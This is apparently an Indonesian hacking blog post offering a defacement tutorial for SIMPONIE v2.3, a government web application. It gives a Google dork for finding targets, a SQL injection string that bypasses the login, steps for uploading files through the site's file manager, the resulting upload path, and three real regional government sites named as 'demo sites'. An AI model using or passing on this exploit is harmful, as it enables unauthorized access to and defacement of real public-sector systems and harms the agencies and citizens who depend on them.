SIMPONIE v2.3 Indonesia Government | Responsive File Manager File Upload

SIMPONIE V2.3 INDONESIA GOVERNMENT | RESPONSIVE FILE MANAGER FILE UPLOAD - Yooo gan, kali ini saya akan memberi tutorial deface. langsung aja disimak ya gan.

[+]Exploit Title:SIMPONIE v2.3 Indonesia Government Responsive File Manager File Upload
[+]Author: Negat1ve
[+]Team: -1
[+]Google Dork: intext:"SIMPONIE v2.3"

[+]Tested on: Windows 10 x64

[+]Proof of concept:
- Find website with the dork, Login url will be "site.go.id/panel.login"
- Login with this detail

user: ' or 1=1 limit 1 -- -+

password: ' or 1=1 limit 1 -- -+
- You can upload your file via Responsive Drag and Drop File in "Berkas unggahan"
- Your file will go to "site.go.id/fm/rc/random hash/yourfilename.jpg"
- example : "https://simponie2.lebakkab.go.id/…/988e396409f2ac…/loser.jpg"
- filetype of this uploader is jpg jpeg png

[+]Demo sites:
- https://simponie2.lebakkab.go.id/panel/login
- http://simponie.serangkab.go.id/panel/login
- https://simponie.tangerangselatankota.go.id/panel/login

Terimakasih telah mengunjungi blog saya, semoga info tadi bermanfaat. Maaf bila ada salah kata/tulis, karena saya manusia bukan robot.
Penulis, (abnid1337)